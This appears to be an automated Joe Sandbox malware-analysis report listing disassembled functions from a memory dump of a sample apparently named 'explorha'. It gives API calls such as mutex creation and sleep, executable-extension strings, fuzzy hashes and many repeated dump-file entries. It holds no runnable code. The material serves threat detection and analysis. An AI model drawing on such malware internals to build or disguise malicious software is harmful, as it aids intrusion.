Function 0070958C Relevance: 3.1, APIs: 2, Instructions: 106
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0070A435
CreateMutexA.KERNELBASE(00000000,00000000,007651D8), ref: 0070A453

Memory Dump Source

Source File: 00000003.00000002.2151058621.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.2151023835.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151058621.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151144580.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151175401.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151203725.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151234734.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151261377.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151380748.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151409148.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151441167.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151473024.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151566498.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151599544.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151627064.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151654854.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151686222.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151710781.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151736052.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151766410.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151802690.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151830791.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151857043.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151884415.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151914320.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151940989.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151964516.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151990040.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152020128.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152046032.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152071170.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152099497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152125808.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152151116.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152180833.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152294324.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152324625.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152355017.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152382475.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152409880.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152436972.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152462990.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d4509fb148706d320e672f8689d26f3d9030384be7326cfebc7fbd209be32606
Instruction ID: 1754f6f0eeaa6298865c28f92a1f9db8e630adbb140cc1b9288baedb1bfbcd32
Opcode Fuzzy Hash: d4509fb148706d320e672f8689d26f3d9030384be7326cfebc7fbd209be32606
Instruction Fuzzy Hash: 40214771604204DBFB18DF68CD887ACFBB2EB81304F208318E9159B7D2DBBE59808751

Uniqueness

Uniqueness Score: -1.00%

Function 0070A326 Relevance: 3.1, APIs: 2, Instructions: 91
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0070A435
CreateMutexA.KERNELBASE(00000000,00000000,007651D8), ref: 0070A453

Memory Dump Source

Source File: 00000003.00000002.2151058621.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.2151023835.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151058621.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151144580.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151175401.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151203725.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151234734.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151261377.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151380748.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151409148.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151441167.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151473024.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151566498.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151599544.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151627064.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151654854.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151686222.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151710781.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151736052.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151766410.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151802690.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151830791.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151857043.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151884415.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151914320.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151940989.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151964516.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151990040.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152020128.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152046032.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152071170.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152099497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152125808.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152151116.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152180833.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152294324.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152324625.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152355017.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152382475.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152409880.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152436972.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152462990.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: bc41a88f9874a081440356afb81a8cd00453c014331b6daa2b32426125a901a6
Instruction ID: 656e1c2a18f24803582edddae00cad730791eeff73c5298d5c7f0262e4d58d8a
Opcode Fuzzy Hash: bc41a88f9874a081440356afb81a8cd00453c014331b6daa2b32426125a901a6
Instruction Fuzzy Hash: 19212771748304FBF728AB688C9F76DF6E2AF41300F248715E9058A7D2CABD5980C267

Uniqueness

Uniqueness Score: -1.00%

Function 00709E1F Relevance: 3.1, APIs: 2, Instructions: 91
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000003E8), ref: 0070A435
CreateMutexA.KERNELBASE(00000000,00000000,007651D8), ref: 0070A453

Memory Dump Source

Source File: 00000003.00000002.2151058621.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.2151023835.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151058621.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151144580.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151175401.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151203725.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151234734.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151261377.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151380748.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151409148.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151441167.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151473024.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151566498.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151599544.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151627064.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151654854.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151686222.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151710781.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151736052.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151766410.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151802690.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151830791.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151857043.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151884415.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151914320.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151940989.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151964516.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151990040.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152020128.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152046032.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152071170.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152099497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152125808.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152151116.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152180833.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152294324.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152324625.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152355017.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152382475.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152409880.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152436972.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152462990.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 7a460a0c944b9b38f70cdf0bf4f8a37f9b0252445e0af73f5ee6533130b3e85e
Instruction ID: 683a58b8ca9d0b95357ed8057b91f099e7f67acf42ec0e8caf90e7599c529857
Opcode Fuzzy Hash: 7a460a0c944b9b38f70cdf0bf4f8a37f9b0252445e0af73f5ee6533130b3e85e
Instruction Fuzzy Hash: 0E213572704340EBFB08DB6CCC897ADB7A2EB81311F204328E915976D2DBBD59808751

Uniqueness

Uniqueness Score: -1.00%

Function 0073EE4F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0073BE33,00000001,00000364,00000006,000000FF,?,0074045F,?,00000004,00000000,?,?), ref: 0073EE90

Memory Dump Source

Source File: 00000003.00000002.2151058621.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.2151023835.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151058621.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151144580.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151175401.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151203725.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151234734.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151261377.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151380748.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151409148.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151441167.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151473024.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151566498.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151599544.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151627064.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151654854.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151686222.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151710781.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151736052.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151766410.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151802690.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151830791.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151857043.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151884415.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151914320.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151940989.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151964516.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151990040.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152020128.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152046032.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152071170.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152099497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152125808.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152151116.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152180833.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152294324.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152324625.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152355017.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152382475.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152409880.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152436972.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152462990.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_explorha.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 1917b85ad26b8f5994c44ea6b032a2e0ed6901c89d7acbf5eb66515e3237d570
Instruction ID: 4f98d250052e05ab33ca9de23299569bc76394a886cb2a930421aa084c5d76c8
Opcode Fuzzy Hash: 1917b85ad26b8f5994c44ea6b032a2e0ed6901c89d7acbf5eb66515e3237d570
Instruction Fuzzy Hash: 27F0E932585234A6FB2126619C05B5B7B989F82760F298111FC08E61C3CF7CEC0041E1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00744330 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 450COMMON

Download Yara Rule

Strings

Xt, xrefs: 00744757, 00744595, 0074459D
Xt, xrefs: 0074434B, 007444D4, 007446FD, 00744697, 00744523, 007444A9

Memory Dump Source

Source File: 00000003.00000002.2151058621.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.2151023835.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151058621.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151144580.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151175401.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151203725.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151234734.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151261377.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151380748.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151409148.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151441167.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151473024.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151566498.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151599544.00000000008F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151627064.0000000000902000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151654854.0000000000909000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151686222.000000000091D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151710781.000000000091F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151736052.0000000000920000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151766410.0000000000932000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151802690.000000000094F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151830791.0000000000950000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151857043.0000000000951000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151884415.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151914320.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151940989.000000000095F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151964516.0000000000960000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151990040.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152020128.000000000096A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152046032.000000000096C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152071170.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152099497.000000000097C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152125808.000000000097D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152151116.0000000000980000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152180833.000000000098A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.000000000098B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152220435.00000000009C3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152294324.00000000009F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152324625.00000000009F7000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152355017.00000000009F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152382475.00000000009FD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152409880.00000000009FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152436972.0000000000A0B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2152462990.0000000000A0D000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_explorha.jbxd

Yara matches

Similarity

API ID:
String ID: Xt$Xt
API String ID: 0-475810656
Opcode ID: ac59082c9d6dce2fb0acae6c1eb29a2d77903316a9a26bfd3db1b491670abf65
Instruction ID: 46d1666ecafddbc1b3e160ed27bdb8499bb4b4570d2edfd9c1c932b231513696
Opcode Fuzzy Hash: ac59082c9d6dce2fb0acae6c1eb29a2d77903316a9a26bfd3db1b491670abf65
Instruction Fuzzy Hash: 51F14C71E012199BDF14CFA8D8807AEBBF1FF89314F258269D819AB345D735AE01DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00738829 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 0073886B

Strings

.bat, xrefs: 0073889A
.exe, xrefs: 00738878
.com, xrefs: 007388AB
.cmd, xrefs: 00738889

Memory Dump Source

Source File: 00000003.00000002.2151058621.0000000000701000.00000040.00000001.01000000.00000008.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.2151023835.0000000000700000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151058621.0000000000764000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151144580.0000000000769000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151175401.000000000076B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151203725.0000000000775000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151234734.0000000000776000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151261377.0000000000777000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151380748.00000000008D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151409148.00000000008D3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151441167.00000000008E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151473024.00000000008E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151500663.00000000008EF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2151566498.00000000008F8000.00000080.00000001.01000000.00000008.sdmpDownload File
